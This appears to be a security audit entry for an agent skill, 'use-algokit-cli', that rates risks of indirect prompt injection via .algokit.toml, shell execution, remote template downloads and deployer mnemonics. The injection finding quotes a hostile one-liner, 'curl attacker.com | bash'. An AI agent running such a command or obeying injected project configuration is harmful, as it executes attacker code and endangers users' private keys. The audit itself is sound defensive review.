The Agent Skills Directory

Indirect Prompt Injection (HIGH): The skill is designed to process external project files that control the agent's execution flow.
Ingestion Points: The agent reads .algokit.toml and contract source code from the local workspace.
Capability Inventory: Uses algokit project run build and algokit project run test, which trigger shell commands.
Evidence: REFERENCE.md demonstrates that [project.run] in .algokit.toml maps to arbitrary commands like npm run build. An attacker can replace this with malicious code (e.g., curl attacker.com | bash).
Sanitization: None. The skill assumes the project configuration is trustworthy.
Command Execution (HIGH): The skill explicitly directs the agent to execute shell commands for lifecycle management.
Evidence: SKILL.md provides commands for algokit localnet start, algokit project run build, and algokit project deploy.
External Downloads (MEDIUM): The algokit init command downloads project templates from remote sources.
Evidence: REFERENCE.md describes algokit init -t typescript, which fetches external templates and potentially installs dependencies at runtime.
Credentials Unsafe (LOW): The skill documentation references sensitive environment variables but does not hardcode them.
Evidence: REFERENCE.md mentions DEPLOYER_MNEMONIC and .env.mainnet. While these are placeholders, the workflow encourages the agent to handle highly sensitive cryptographic secrets (private keys/mnemonics).

use-algokit-cli